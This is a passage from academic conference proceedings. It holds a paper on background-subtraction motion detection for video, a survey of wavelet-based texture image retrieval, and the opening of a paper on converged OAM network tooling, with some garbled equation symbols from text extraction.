services using XML signature and XML encryption. arXiv preprint arXiv:1303.0910, 1–
6 (2013)
3. Moradian, E. Anne H.: Possible attacks on XML web services. Int. J. Comput. Sci. Netw.
Sec. 6.1B, 154–170 (2006)
4. Chou T.S.: Security threats on cloud computing vulnerabilities. Int. J. Comput. Sci. IT, 5, 79–
88 (2013)
5. Subashini, S., Kavitha, V.: A survey on security issues in service delivery models of cloud
computing. J. Netw. Comput. Appl. 34, 1–11 (2011)
6. Gu, Y.S., Ye, M.T., Gan, Y.: Web services security based on XML signature and XML
encryption. J. Netw. 5, 1092–1097 (2010)
7. Thakur, A.S., Gupta, P.K.: Framework to improve data integrity in multi cloud environment.
Int. J. Comput. Appl. 87, 28–32 (2014)
8. Liu, H., Lin, D., Kadir, A.: A novel data hiding method based on deoxyribonucleic acid
coding. Comput. Electr. Eng. 39, 1164–1173 (2013)
9. Terec, R., Vaida, M.F., Alboaie, L., Chiorean, L.: DNA security using symmetric and
asymmetric cryptography. Int. J. New Comput. Archit. Their. Appl. 1, 34–51 (2011)
10. Rana, P., Gupta, P.K., Siddavatam, R.: Combined and improved framework of infrastructure
as a service and platform as a service in cloud computing. In: Babu, B.V., Nagar, A., Deep, K.,
Pant, M., Bansal, J.C., Ray, K., Gupta, U. (eds.) SocPros 2012. LNCS, vol. 236, pp. 831–839.
Springer, India (2014)
11. Thakur, A.S., Gupta, P.K., Gupta, P.: Handling data integrity issue in SaaS cloud. In:
Satapathy, S.C., Biswal, B.N., Udgata, S.K., Mandal, J.K. (eds.) FICTA 2014. LNCS, vol.
328, pp. 127–134. Springer International Publishing (2015)
12. Alonso, G., Casati, F., Kuno, H., Machiraju, V.: Web Services. Springer, Berlin Heidelberg
(2004)
13. Shiu, H.J., Ng, K.L., Fang, J.F., Lee, R.C., Huang, C.H.: Data hiding methods based upon
DNA sequences. Inf. Sci. 180, 2196–2208 (2010)
An Efficient Motion Detection Method
Based on Estimation of Initial Motion
Field Using Local Variance
Satrughan Kumar and Jigyendra Sen Yadav
Abstract Background subtraction is a facile way to localize the moving object in

video sequences which provide sufficient different intensities of foreground pixels
from the background. It has been observed that the motion detection task can be
more challenging in some complex scenes, which exhibit sudden or gradual illu-
mination, varying speed of object, similarly colored background, and shadows. In
that concern, we propose an efficient motion detection method based on the ini-
tialization of background, which is further used for the foreground detection. Under
this formulation, we have adopted the local property of the initial motion field to get
the suitable threshold condition to make it generic for the adequate visual repre-
sentation of foreground pixel intensity. The effectiveness of this method can be seen
when it is compared qualitatively and quantitatively to other well-known back-
ground subtraction methods. The experimental results show that it can work well in
static and dynamic backgrounds condition.
Keywords Motion detection Background subtraction Video surveillance

Initial motion field
1 Introduction
Miniaturized and advance surveillance hardware with high-speed processor of

compact computer has motivated for the development of intelligent computer vision
applications, which should be automatic and robust during motion detection and
have the capability to deal with sudden or abrupt illumination [1], changing
S. Kumar (&) J.S. Yadav

Department of Electronics and Communication, MANIT, Bhopal 462003, India
e-mail: satrughankumar@gmail.com
J.S. Yadav
e-mail: jsyadav74@gmail.com

418 S. Kumar and J.S. Yadav
threshold condition, low resolution, similar probability distribution of pixel between

object and background, clutters due to wind and swaying tree, etc. [2].
Motion detection is the process to perceive pixels for two instants of time to
identify the pixels from the scene that differs significantly with respect to magnitude
of intensity of the background image. But in real time of many applications [1], the
stability and statistics of background are affected by numerous reasons. Therefore,
we have focused here to improve the stages in motion detection for the sufficient
visual as well as quantitative accuracy in order to support further processing in
vision applications.
Existing major methods for the motion detection are based on statistical tech-
niques, optical flow, temporal difference, and background subtraction.
Statistical technique [3] is robust against noise, but it creates hollow space and
incapable to handle the object of large area.
Optical flow [4] is able to find minute motion and desultoriness, but due to large
computational complexity, aperture problem, and poor noise performance, it is not
suited in real-time operation.
Temporal difference [5] is fast, adaptive in nature, insensitive to light, and
requires less memory consumption. Due to the frame difference, temporal difference
method does not generate the entire shape of the body. Moreover, fast adaptive rate
can generate a hole inside the object.
Among all major methods for motion detection, the background subtraction [6,
7] is widely used in vision application due to its computationally affordable
implementation and entire detection of moving entities. It also provides important
cues for many more surveillance applications such as object tracking, human pose
detection, etc.
The rest of this research article is organized as follows: Sect. 2 consists of the
related works. In Sect. 3, we have explored our motion detection approach.
Experimental results are illustrated in Sect. 4, and our concluding remarks are
discussed in Sect. 5.
2 Related Work
The brief review of some of the existing state-of-the-art background subtraction

methods is discussed in this section. Simple background subtraction (SBS) [8]
method is solely dependent on the threshold condition. Although the method is fast,
but due to fixed threshold and fixed referenced background, it is not suitable for
dynamic and varying illumination background condition. In Σ-Δ method (SDE) [9],
the background estimation is done by evaluating the difference image and time
variance, but this method produces insufficient accuracy in case of variable speed of
An Efficient Motion Detection Method Based on Estimation … 419
the object and due to the presence of multiple objects in a scene. In Gaussian
Mixture Model (GMM) [3] method, a single pixel is modeled by three to five
Gaussian components, which are updated adaptively if modeled pixel matched with
incoming frame pixels. This method can work well under gradual illumination
conditions and changing background elements. However, the foreground objects
remain static for a long time, and can hurdle to produce the motion mask. It fails
against rapid illumination and similar contrast between object and background.
Some methods utilize Markov random field method [10], but at large computational
complexity, although, through Markov random field method, better accuracy has
been achieved, but at large time complexity. Median filtration, mixed Gaussian, and
kernel density approaches have been conducted to deal with complex background,
but become limited due to hollow space, streak phenomenon. All the traditional
background has common difficulty of low attention toward the correlation of
neighbor pixel and local property.
From the existing methodology, it has been observed that the simpler motion
detection method is ineffective under sudden illumination, swaying trees, and
variant background, while the other complex scheme gives solution, but greater
time and large computational cost. In that regard, we propose our efficient motion
detection algorithm to work under static and dynamic background scene [11].
3 Proposed Motion Detection Method
In this section, we have explored our proposed method which is explained through
Algorithm 1. The algorithm is divided into four subsections. In first subsection, the
initial background model B(k, j) is generated through modified moving average
using some of the initial frames{I1, I2, I3,….IK}. Initial motion field MF(k, j) has
been generated through absolute differencing between incoming frames and
background frames in subsection two. In third subsection, noise-free motion field
has been estimated. Some unwanted pixels from the foreground are removed using
morphological operation. At last, the foreground and background pixels are clas-
sified by estimating the blockwise local mean and standard deviation of initial
noise-free motion field.
The values of ld and rd are calculated from Z in Eq. (3). The values of ll1 and
ll2 in Eq. (4) are taken as ld and ld þ 3rd , respectively, for static sequence. For
dynamic sequence, the values of ll1 and ll2 are taken as ld and ld þ 3rd ,
respectively. For dynamic and static sequence, the ratio of rrl1l2 ¼ rd . We apply one
iteration of open and close morphological operation to remove unwanted pixel from
foreground mask.
In order to show the efficacy of this propose scheme, we have taken sample video
sequences which feature static and dynamic background. The video sequences
taken in Table 1 are IR [12], MSA [13], and MR [14] sequence. The IR sequence
characterizes the static background property. In this sequence, variant motion of
person, staying of person for some frames, and sudden illumination can produce
sufficient hurdle in motion detection. In other static background MSA video
sequence, problem arises due to the abandoned object like bag, static behavior of
object, and sudden illumination. The MR video sequence has dynamic background
in which moving curtain and variant speed of person can hurdle in motion detection
task.
The qualitative performance has been represented in Figs. 1, 2 and 3. In static IR
and MSA sequences, the object can be seen with sufficient clarity. No ghost trails,
holes, and hollow space can be seen on foreground mask. Under this formulation,
the motion detection can be performed under varying speed of the object and
varying illumination. In MSA sequence, object is detected even it becomes sta-
tionary for some frames. In a dynamic background scene of MR sequence, the
motion is detected even in the situation moving curtain. Moving curtain provides
non-stationary pixels, which can produce sufficient hurdle in a foreground detection
task.
In addition to the quantitative analysis, we have computed average quantitative
accuracy metric with respect to the ground data for some video sequences. The
quantitative metrics computed in this paper are Precision, Recall, Similarity, and
F1. All the metric accuracy ranges from 0 to 1, in which higher value has the most
accuracy. All the measured metrics depend on tp (true-positive pixel), fp
(false-positive pixel), fn (false-negative pixel), and tn (true-negative pixel). True
positive (tp) is the correctly detected foreground pixels, while false positive (fp) is
the number of background pixels detected as foreground (incorrect detection of
foreground). True negative (tn) is the correctly detected background pixels, and
false negative (fn) is the number of foreground pixels detected as background
(incorrect detection of background).
Table 1 Experimental Video Image Sequence Background

datasets title size type property
IR 240 × 320 Indoor Static
MSA 240 × 320 Outdoor Static
MR 128 × 160 Indoor Dynamic
F-116 F-214 F-228

Sampled
video
frame
Ground
Truths
Proposed
Method
Similarity 0.8687 0.8111 0.8027

F1 0.9298 0.8957 0.9016
Fig. 1 Results of sampled sequence ‘IR’ with Similarity and F1
F-1266 F-1296 F-1336

Sampled
Video
frames
Ground
Truths
Proposed
Method
Similarity 0.8036 0.8041 0.8826

F1 0.8911 0.8374 0.9315
Fig. 2 Results of sampled sequence ‘MSA’ with Similarity and F1
F-22774 F-22847 F-23857

Sampled
frames
Ground
Truths
Proposed
Method
Similarity 0.9031 0.8196 0.8721

F1 0.9458 0.9008 0.9317
Fig. 3 Results of sampled sequence ‘MR’ with Similarity and F1
The relevant and irrelevant true-positive pixels in the foreground mask are given
through recall and precision, respectively, which are assessed as follows:
Recall = tp/(tp + fn) ð6Þ
Precision = tp/(tp + fp): ð7Þ
Since precision and recall give contradictory opinion on the accuracy of detected
motion mask. In order to support the optimum measurement, the parameters F1 and
Similarity are computed as follows:
2 Precision Recall
F1 ¼ ð8Þ
Precision þ Recall
tp
Similarity ¼ : ð9Þ
tp þ fp þ fn
In Table 2, we have represented our results along with the other state-of-the-art
background subtraction methods. The average values of Precision, Recall,
Similarity, and F1 are calculated for the video sequences. We can readily examine
our method attain higher accuracy as compared to SDE and GMM method. The
Similarity and F1 obtained through GMM method for MSA sequence were up to 51
and 55 % lower than those obtained through this method.
In IR video sequence, Similarity and F1 obtained through this method are up to
27 and 20 % greater than those obtained through GMM method. The Similarity and
F1 obtained through GMM method for MR sequence were up to 15 and 13 % lower
Table 2 Quantitative metric Sequences Evaluation Proposed GMM SDE

evaluation and comparison of method
various methods
IR Similarity 0.7521 0.4844 0.1528
F1 0.8585 0.6526 0.2574
Precision 0.8999 0.8478 0.1594
Recall 0.8233 0.5306 0.8328
MSA Similarity 0.8056 0.2916 0.1301
F1 0.8923 0.3440 0.2301
Precision 0.9173 0.6253 0.1355
Recall 0.8686 0.3154 0.7586
MR Similarity 0.8096 0.6500 0.3374
F1 0.8948 0.7685 0.5328
Precision 0.9614 0.9502 0.4800
Recall 0.8368 0.6768 0.6224
than those obtained through this method. When compared to SDE method, the
Similarity and F1 obtained through SDE method for MSA sequence were up to 67
and 66 % lower than those obtained through this method. The Similarity and F1
obtained through SDE method for IR sequence were up to 60 and 60 % lower than
those obtained through this method. In MR video sequence, Similarity and F1
obtained through this method are up to 47 and 34 % greater than those obtained
through SDE method.
With regard to time complexity, the sole computation time and acquisition time
of all these algorithms are computed on PC computer having configuration 3.2 GHz
Intel CPU, 2G RAM, using Matlab 7.1 on Window7 platform. The total time to
process a 120 × 160 frame GMM needs 0.48 s, SDE takes 0.025 s, and our method
needs 0.17 s, comparatively better than GMM but slower than SDE.
5 Conclusion
All background subtraction ignores the correlation between neighbor pixel and
local statistics. Through this method, we achieve the entire shape of the object with
high similarity metric. Our tests in sample video sequence show that the foreground
image does not contain any ghost trail and work under static and dynamic condi-
tions. Moreover, the visual quality has been improved due to the estimation of
initial motion field through local statistics. However, in some complex scenes and
multiple object sequences, the work can be extended in future. In short, the
information acquired through the binary mask provides cues for many vision
applications. The effectiveness can be seen in terms of accuracy when it is com-
pared to other well-known background subtraction method.
References
1. Vosters, L., Shan, C., Gritti, T.: Real-time robust background subtraction under rapidly
changing illumination conditions. Image Vis. Comput. 30, 1004–1015 (2012)
2. Radke, R.J., Andra, S., Al-Kofahi, O., Roysam, B.: Image change detection algorithms: a
systematic survey. IEEE Trans. Image Process. 14, 294–307(2005)
3. Stauffer, C., Grimson, W.E.L.: Learning patterns of activity using real-time tracking. IEEE
Trans. Pattern Anal. Mach. Intell. 22, 747–757(2000)
4. Lucas, B.D., Kanade, T.: An iterative image registration technique with an application to
stereo vision. IJCAI 81, 674–679 (1981)
5. Piccardi, M.: Background subtraction techniques: a review. IEEE International Conference,
vol. 4, pp. 3099–3104 (2004)
6. Manzanera, A., Richefeu, J.C.: A robust and computationally efficient motion detection
algorithm based on Σ-Δ background estimation. ICVGIP, 46–51 (2007)
7. Huang, S.-C.: An advanced motion detection algorithm with video quality analysis for video
surveillance systems. IEEE Trans. Circuits Syst. Video Technol. 21, 1–14 (2011)
8. Oral, M., Deniz, U.: Center of mass model: a novel approach to background modeling for
segmentation of moving objects. Image Vis. Comput. 25, 1365–1376 (2007)
9. Manzanera, A., Richefeu, J.C.: A new motion detection algorithm based on Σ-Δ background
estimation. Pattern Recogn. Lett. 28, 320–328 (2006)
10. Huang, S.-S., Fu, L.-C., Hsiao, P.-Y.: Region-level motion-based background modeling and
subtraction using MRFs. IEEE Trans. Image Process. 16, 1446–1456 (2005)
11. Do, B.-H., Huang, S.-C. : Dynamic background modeling based on radial basis function neural
networks for moving object detection. IEEE International Conference on Multimedia and
Expo (ICME 2011), pp. 1–4 (2011)
12. http://cvrr.ucsd.edu/aton/shadow/
13. http://cvprlab.uniparthenope.it
14. http://perception.i2r.a-star.edu.sg/bk_model/bk_index.html
A Survey on Texture Image Retrieval
Ghanshyam Raghuwanshi and Vipin Tyagi
Abstract Retrieving images from the large databases has always been one chal-
lenging problem in the area of image retrieval while maintaining the higher accu-
racy and lower computational time. Texture defines the roughness of a surface. For
the last two decades due to the large extent of multimedia database, image retrieval
has been a hot issue in image processing. Texture images are retrieved in a variety
of ways. This paper presents a survey on various texture image retrieval methods. It
provides a brief comparison of various texture image retrieval methods on the basis
of retrieval accuracy and computation time with the benchmark databases. Image
retrieval techniques vary with feature extraction methods and various distance
measures. In this paper, we present a survey on various texture feature extraction
methods by applying variants of wavelet transform. This survey paper facilitates the
researchers with background of progress of image retrieval methods that will help
researchers in the area to select the best method for texture image retrieval
appropriate to their requirements.
Keywords Image retrieval Texture image Multimedia database
1 Introduction
Texture image retrieval has been an emerging issue due to the big volume of
multimedia data. Texture image retrieval is a type of content-based image retrieval.
Texture images are different from the natural images. In general, texture images are
characterized by the surface properties and appearance of an object such as shape,
G. Raghuwanshi (&) V. Tyagi

Department of CSE, Jaypee University of Engineering and Technology,
Raghogarh, Guna, MP 473226, India
e-mail: ghanshyam1208@gmail.com
V. Tyagi
e-mail: dr.vipin.tyagi@gmail.com

428 G. Raghuwanshi and V. Tyagi
density, and arrangement. Texture may be hard or soft, coarse or grain, and smooth
or rough. So analysis of texture images is different from non-textured images.
Texture image retrieval mainly focuses on the texture properties of an object such as
repeated patterns in an image, local periodicity, global periodicity, etc. Image
analysis for texture feature extraction must be done from various orientations or
angles to make it rotation invariant.
1.1 Requirements of a Good Texture Analysis Scheme
A good texture analysis must satisfy following two requirements:

1. Image retrieval should be rotation invariant. It means if the same type of
images are stored in the databases with different rotating angles, then the
system should retrieve the relevant one with any rotation angle. So texture
feature analysis must be done at different angles. Some approaches like
curvelets [1], contourlets [2], and directionlets [3] are wavelet systems with
more directional sensitivity.
2. Scaling and translation invariant property must be maintained by the texture
feature extraction methods. Fourier transform provides these properties.
Basically, a texture is a surface property of an object. Each object is textured at
certain scales. In [4], a new feature descriptor is used for image retrieval, which
is also called oppugnant color space extrema pattern. Both color and texture
features are used to index the images. This work is also having directional
sensitivity in four directions. VisTex database [5] of 40 images is used as a
benchmark database for experimental purpose in this work.
1.2 Performance Measure
Texture image retrieval performance is measured in terms of precision and

recall. If any retrieval system is having higher precession and recall values, then
it is up to the mark. Computational time is another measure for a retrieval
system:
Number of relevant images retrieved

Precision : PIc ¼ ð1Þ
Total number of images retrieved
Number of relevant images retrieved

Recall : RIc ¼ : ð2Þ
Total number of relevant imagesin the database
A Survey on Texture Image Retrieval 429
The computational time depends on feature extraction time and searching time
and also partially depends on the distance measure method:
Computational time = feature extraction time + Searching time:
Feature extraction time solely depends on the method used to extract the fea-
tures, while computational time depends upon the distance measure formula.
2 Wavelet-Based Texture Image Retrieval
The wavelet transform is widely used for extracting texture features. Wavelet
transform and its variants decompose the image into one low-pass and three
high-pass subbands at each decomposition level. Texture features are extracted by
taking only high passes at each subband. There are some variants like Gabor
wavelet, complex wavelet transform, dual-tree complex wavelet transform,
dual-tree rotated complex wavelet transform, Haar wavelet, and tetrolet which is a
special case of Haar wavelet, which are used for extracting texture features. In [6],
wavelet transform is used for extracting the bit planes from a complete plane. After
decomposition of an image into wavelet subbands, bit plane extraction is performed
at each subband separately. In this approach, the image signature is formed by
combining the bit planes on the basis of the occurrence probability of bit planes:
three-pass layer probability (TPLP) and Bit plane (BP). Image signature formed in
this way is smaller in size and thus reduces the storage requirement. Since BP and
TPLP signatures do not use dequantization process, the computational cost of this
method is also less due to optimized signature size. Due to low storage require-
ments and less computational cost, this method is particularly suitable for the video
databases and large JPEG2000 image. In [3], a new concept of texture feature
extraction is used. In this paper, dual-tree rotated complex wavelet filters are used.
This transform provides the texture analysis in 12 different directions, which is
helpful in improving the characterization of oriented textures. This paper used
standard deviation and energy as texture features. These two features are calculated
at each subband of decomposed image. Performance of retrieval is checked on
Brodatz [7] and VisTex [5] image databases. Both of these databases are benchmark
databases which are used by some other image retrieval methods. The combination
of DT-RCWF and DT-CWT outperforms in achieving the higher accuracy in
texture features.
In [8], the authors have proposed a new concept, which performs well for rotated
images. It is the improvement of the work [9]. This work provides rotation invariant
texture image retrieval from a set of DT-RCWFs and DT complex wavelet trans-
form (DT-CWT). Invariance is achieved by calculating robust isotropic rotationally
invariant features on the combination of DT-RCWF and DT-CWT.
2.1 Variants of Wavelet Transform for Texture Feature

Extraction
Texture features are extracted from various ways. Wavelets are most used texture
feature extraction approach. There are some variants like Gabor, Haar, Standard
wavelet, complex wavelet, rotated complex wavelet filter, dual-tree complex
wavelet filter, etc. These variants are used by various methods. Some methods used
only one type of wavelet, while some used a combination of these as used in [8, 9].
Wavelets are the only core technology which provides the facility to the CBIR
system to work directly in the compressed domain, which directly creates the
impact on retrieval speed and also on storage requirement. So they reduce both the
time and space complexity. Some methods used for feature extraction, based on
wavelets, used for texture image retrieval, are as follows:
1. Standard DWT
2. DT-CWT
3. Gabor
4. DT-RCWF
5. DT-CWT and RCWF
• Standard DWT [10, 11] is also called traditional wavelet transform. The only
advantage of using it is simplicity. But it is having some serious disadvantages
such as poor directional selectivity, since it works only in two directions. This is
insufficient to make a difference in analysis of object geometry, and it also does
not provide shift invariance property.
• To overcome the deficiencies of DWT, complex wavelet transform is used.
In CWT, limited amount of redundancy is introduced. But it is also not able to
reconstruct the original signal from the decomposed one after one level.
• To make a perfect reconstruction possible along with the other advantages of
complex wavelet, dual-tree complex wavelet transform is used. In DT-CWT
[12], two parallel fully decimated trees, having real filter coefficients, are used.
This combination provides the perfect reconstruction of the decomposed signal.
It provides the directional selection ability in six directions{+15°, +45°, +75°,
−15°, −45°, −75°}.
• Gabor wavelet is another wavelet variant, which has been widely used for
texture feature extraction. Gabor wavelet provides minimum standard deviation
both in frequency and time domain. Mainly, Gabor filters are a set of wavelets,
with each wavelet capturing energy at a particular frequency and direction.
Texture features are extracted from this group of energy distributions, but they
are also having serious problem of non-orthogonality, so due to this, perfect
decomposition into the basis is hard and complex.
• 2D-RCWF is another method to extract the edge information from an image in
six different directions. It works jointly with complex wavelet filters by taking
edges 45 apart from the cwt. For this, initially directions of the edges are
extracted from the original image, and then it is rotated by 45. Since edge plays
a key role in texture feature, it is necessary to characterize the texture in different

directions. So in many texture image retrieval systems, characterization of
texture using directional information improves retrieval performance
• Combination of 2D-RCWF with DT-CWT improves the directional selectivity
in 12 different directions: six directions from DT-CWT and six directions from
2D-RCWF. So this combination improves the retrieval performance of the
system due to analysis of image in 12 directions. The 2-D RCWFs are
non-separable and oriented, which improves characterization of oriented tex-
tures. RCWF in combination with DT-CWT performs better than other retrieval
methods. This combination performs the texture analysis in 12 directions.
A comparison of various feature extraction techniques is shown in Table 1.
In [13], a new texture image retrieval system is developed, which takes human
visual system and stochastic behavior of texture into account. Point-by-point
deviation of texture is performed that also relates the human judgmental behavior
with the system analysis for texture. This work extends the idea of structural
similarity. Two different types of databases Corbis [14] and CURET [15] are used
in this work. This work for texture image retrieval outperforms by achieving
average precision and recall values.
In [16], shearlet, which is a new variation of wavelet, is used for image texture
characterization. However, traditional wavelets do not deal well with the distributed
discontinuities such as edges. This paper proposed a texture image retrieval system
Table 1 Performance of various texture feature extraction methods

S. Method Merits Demerits
no.
1 Standard DWT [10] Works well both in Poor directional
frequency and time domain, sensibility, less shift
less complex, simple in use, invariant, time-varying
no redundancy problem
2 CWT [12] Average shift invariant Redundant and complex,
efficient reconstruction
from the decomposition is
not provided
3 DT-CWT [12] Nearly shift invariant and Redundant information is
directionally selective in high, each time complex
two and higher dimensions part is also processed with
real part
4 2D-RCWF [9] Rotation invariant, shift Slower than DT-CWT
invariant, more directional
selectivity
5 DT-CWT + 2D-RCWF Directional selectivity in 12 Space complexity is high
[9, 8] directions, better texture
feature extraction, produces
less redundant features as
compared to Gabor wavelet,
computational complexity is
less
that deals with adjacent shearlet subband dependencies using linear regression.
A simple linear regression model consists of the mean function and the variance
function. Two energy features are used to represent texture classification instead of
complex numbers. Regression residuals are used as a distance measure. This texture
retrieval system has two subprocesses. The first subprocess is based on contourlet
domain, while the second subprocess is feedback mechanism based on regression
modeling of shearlet subband dependences.
Shrivastava et al. [17] presented a good survey on image retrieval techniques
based on Region of interest. ROI-based techniques require a good representation of
subregions which lies in an image. Feature extraction, query formulation, and
similarity matching are performed with the help of region codes.
Jacob et al. [18] presented Local Oppugnant Color Texture Pattern, which is an
enhancement of Local Tetra Pattern. Relationship is determined by the directional
information and intensity between the referenced pixels and their oppugnant
neighbors. It relates the human perception with system by harmonized link between
color and texture. This technique is used for retrieving both texture and natural
images. Results are tested on Brodatz texture database and Corel database. YCbCr,
HSV, Lab, and RGB color models are also evaluated.
Mukhopadhyay et al. [19] proposed a texture image retrieval system. This
system works in two stages. At first stage, using of neural network class mem-
bership is calculated for query image. Combination of simple and weighted distance
metric is used to retrieval the texture images at the second stage. This system
reduces the search space and increases the speed of retrieval.
Manisha et al. [20] proposed a retrieval technique based on local extrema
co-occurrence patterns. HSv color space is used to utilize the color, intensity, and
brightness of images. Local extrema occurrence patterns are used to extract the local
directional information of an image. Corel, MIT, VisTex, and STex databases are
tested by this method.
Kwitt et al. [21] used dual-tree complex wavelet transform for texture feature
extraction. Constant similarity measurement is achieved with Kullback–Leibler
divergences between the proposed statistical models. This work is aimed to focus
on both retrieval time and accuracy. Statistical models are also presented with
DT-CWT to get coefficient magnitudes. Choy et al. [22] presented a generalized
Gamma density function with three parameters for texture image retrieval.
Generalized gamma density is used to control on shape features of the model that
cannot be achieved by histogram-based applications, because it provides an extra
index to control on shape model and provides flexibility in calculating the histo-
grams. This model can also be applied to the high-frequency coefficients also.
Symmetrized Kullback–Leibler measure is used to calculate the distance between
the features of the images.
Texture image retrieval is a process of extracting texture images from the
database. These images exhibit different properties from natural images. So treat-
ment of texture images is also different. Repetitive patterns present in texture
images can only be identified and extracted by analyzing the image in different
directions also, as performed in [9, 8]. Standard deviation, mean, entropy, energy,
correlation, and variance are the numerical features of the texture. By taking more
than one feature into account, a feature vector is created. The same process is
applied to the stored database images and a new dataset is prepared, which contains
all the feature vector of the database images. Various similarity measures like
Euclidean distance, chi-squared, Bhattacharya distance, and Canberra distance
Histogram intersection methods are used in many approaches for calculating the
similarity between the query image and database images.
Pi et al. [23] proposed texture image retrieval based on the fractal parameters.
Image signature is constructed using quantitative measurement of these fractal
parameters and collage error. Histogram of joint histogram of contrast scaling and
collage error, collage error, and joint histogram of range block mean and contrast
scaling and collage error are constructed by taking fractal parameter and collage
errors as input. Statistical properties inherent in the images can be extracted by
applying these fractal signatures. Computational complexity can be reduced with
the fractal signature consisting of histograms. Combination of histograms performs
better than the Individual histograms of fractal parameters in texture image retrieval
both in computational complexity and time.
Do et al. [24] proposed a wavelet-based texture image retrieval system.
A generalized Gaussian density function is used to calculate the distribution of
wavelet coefficients. Kullback–Leibler distance is used to calculate the distance
between the query image and stored database images. Experimental results are
tested on benchmark texture databases. After decomposition extraction, wavelet
coefficients at each subband are collected and modeled by the Gaussian density
function. In this paper, a combined classification and modeling scheme is presented
on similarity measurement and feature extraction phase of image retrieval.
Nava et al. [25] presented log-Gabor filter method to retrieve the texture images.
To overcome the distortion produced by Gabor filter, which results in poor accuracy
in retrieving of patterns, log-Gabor filter is used. This filter is an enhancement in
previous filter designed to prevent distortion. Kullback–Leibler and the Jensen–
Shannon divergences are used on both Gabor and log-Gabor filters with the
USC-SIP database to check the accuracy of the proposed system.
3 Conclusion
In this paper, we have surveyed various issues of texture image retrieval methods.
A brief introduction of a texture image retrieval system is presented. The main
purpose of this survey is to provide an analytical description of various
wavelet-based texture feature extraction methods. Survey is done on some variants
of wavelet-like Standard DWT, DT-CWT, RCWF, and Gabor filter. After the study
of various methods, it is concluded that better results of texture image retrieval can
be achieved only if feature extraction is done perfectly, i.e., rotation, scaling, and
reflection of the image should be considered. Among all of the variants, combi-
nation of DT-CWT and 2D-RCWF performs well. The performance of this
combination works for both rotated and non-rotated image databases. We hope that
this survey will help researchers to select the best algorithm and feature extraction
methods to meet their requirements.
References
1. Candès, E.J., Donoho, D.L.: New tight frames of curvelets and optimal representations of
objects with piecewise C2 singularities. Commun. Pure Appl. Math. 57(2), 219–266 (2004)
2. Do, M.N., Vetterli, M.: The contourlet transform: an efficient directional multiresolution image
representation. IEEE Trans. Image Process. 14(12), 2091–2106 (2005)
3. Velisavljevic, V., Beferull-Lozano, B., Vetterli, M., Dragotti, P.L.: Directionlets: anisotropic
multi-directional representation with separable filtering. IEEE Trans. Image Process. 17(7),
1916–1933 (2006)
4. Reddy, A.H., Chandra. N.S.: Local oppugnant color space extrema patterns for content based
natural and texture image retrieval. Int. J. Electron. Commun. (AEÜ) 69(1), 290–298 (2014)
5. MIT Vision and Modeling Group, Vision Texture. http://vismod.www.media.mit.edu
6. Pi, M.H., Tong, C.S., Choy, S.K., Zhang, H.: A fast and effective model for wavelet subband
histograms and its application in texture image retrieval. IEEE Trans. Image Process. 15(10),
3078–3088 (2006)
7. Brodatz, P.: Textures: A Photographic Album for Artists and Designers. Dover, New York
(1996)
8. Kokare, M., Biswas, P.K., Chatterji, B.N.: Rotation invariant texture image retrieval using
rotated complex wavelet filters. IEEE Trans. Syst. Man Cybern. 36(6), 1273–1282 (2006)
9. Kokare, M., Biswas, P.K., Chatterji, B.N.: Texture image retrieval using new rotated complex
wavelet filters. IEEE Trans. Syst. Man, Cybern. 35(6), 1168–1178 (2005)
10. Randen, T., Husoy, J.H.: Filtering for texture classification: a comparative study. IEEE Trans.
Pattern Anal. Mach. Intell. 21(4), 291–310 (1999)
11. Wouwer, G.V., Scheunders, P., Dyck, D.V.: Stastical texture characterization from discrete
wavelet representation. IEEE Trans. Image Process. 8(4), 592–598 (1999)
12. Kingsbury, N.G.: Image processing with complex wavelet. Phil. Trans. Roy. Soc. London A
357, 2543–2560 (1999)
13. Zujovic, J., Pappas, T.N., Neuhoff, D.L.: Structural texture similarity metrics for image
analysis and retrieval. IEEE Trans. Image Process. 22(7), 2545–2558 (2013)
14. Corbis Stock Photography. http://www.corbis.com (2011). Accessed 23 March 2011
15. CUReT: Columbia-Utrecht Refelctance and Texture Database. http://www1.cs.columbia.edu/
CAVE/software/curet (2002). Accessed 4 Aug 2002
16. Dong, Y., Tao, D., Li, X., Ma, J., Pu, J.: Texture classification and retrieval using shearlets and
linear regression. IEEE Trans. Cybern. 45(3), 358–369 (2015)
17. Shrivastava, N., Tyagi, V.: A review of ROI image retrieval techniques. Adv. Intell. Syst.
Comput. 328, 509–520 (2015). doi:10.1007/978-3-319-12012-6_56
18. Jeena Jacob, I., Srinivasagan, K.G., Jayapriya, K.: Local oppugnant color texture pattern for
image retrieval system. Pattern Recogn. Lett. 42, 72–78 (2014)
19. Mukhopadhyay, S., Dash, J.K., Das Gupta, R.: Content-based texture image retrieval using
fuzzy class membership. Pattern Recogn. Lett. 34(6), 646–654 (2013)
20. Verma, M., Raman, B., Murala, S.: Local extrema co-occurrence pattern for color and texture
image retrieval. Neurocomputing (2015). doi:10.1016/j.neucom.2015.03.015
21. Kwitt, R., Uhl, A.: Lightweight probabilistic texture retrieval. IEEE Trans. Image Process. 19
(1), 241–253 (2010)
22. Choy, S.K., Tong, C.S.: Statistical wavelet subband characterization based on generalized
gamma density and its application in texture retrieval. IEEE Trans. Image Process. 19(2), 281–
289 (2010)
23. Pi, M., Li, H.: Fractal indexing with the joint statistical properties and its application in texture.
IET Image Process 2(4), 218–230 (2008)
24. Do, M.N., Vetterli, M.: Wavelet-based texture retrieval using generalized gaussian density and
Kullback–Leibler distance. IEEE Trans. Image Process. 11(2), 146–158 (2002)
25. Nava, R., Escalante-Ramírez, B., Cristóbal, G.: Texture image retrieval based on log-gabor
features. Progress Pattern Recogn. Image Anal. Comput. Vis. Appl. 7441, 414–421 (2012)
Converged OAM
Prashant Saste and Jason Martis
Abstract Operation, Administration, and Maintenance (OAM) is a toolset that can

be used for managing different networking layers. OAM can detect and isolate the
faults and also be used for performance monitoring of a network, which helps in
reducing the operational cost. OAM mechanism is important for networks that are
required to deliver network performance and availability objectives. OAM toolset is
defined for different layers in protocol stack. This paper summarizes OAM toolset
supported by Ethernet, MPLS, and IP networks. Since many standard bodies are
working on enhancement of OAM, it results in multiple OAM standards which are
performing the same functionality. Main objective of this paper is to detail scattered
OAM toolset of Ethernet, MPLS, and IP networks and to propose a solution for OAM
toolset convergence, which can be beneficial for service provider and customer.
Keywords OAM MPLS MPLS-TP BFD Ping
1 Introduction
OAM is a very efficient set of tools which is used to monitor network operations.
OAM consists of various functions that empower discovery of network failure and
monitoring of network performance. OAM can also localize the defect and may
trigger functionalities like raising alarms or initiating rerouting.
OAM mechanism assures that service provider adhere to QoS guarantees, dis-
cover faults before they intensify, and localize network defects. The network which
does not support OAM functionality, requires additional resources in order to detect
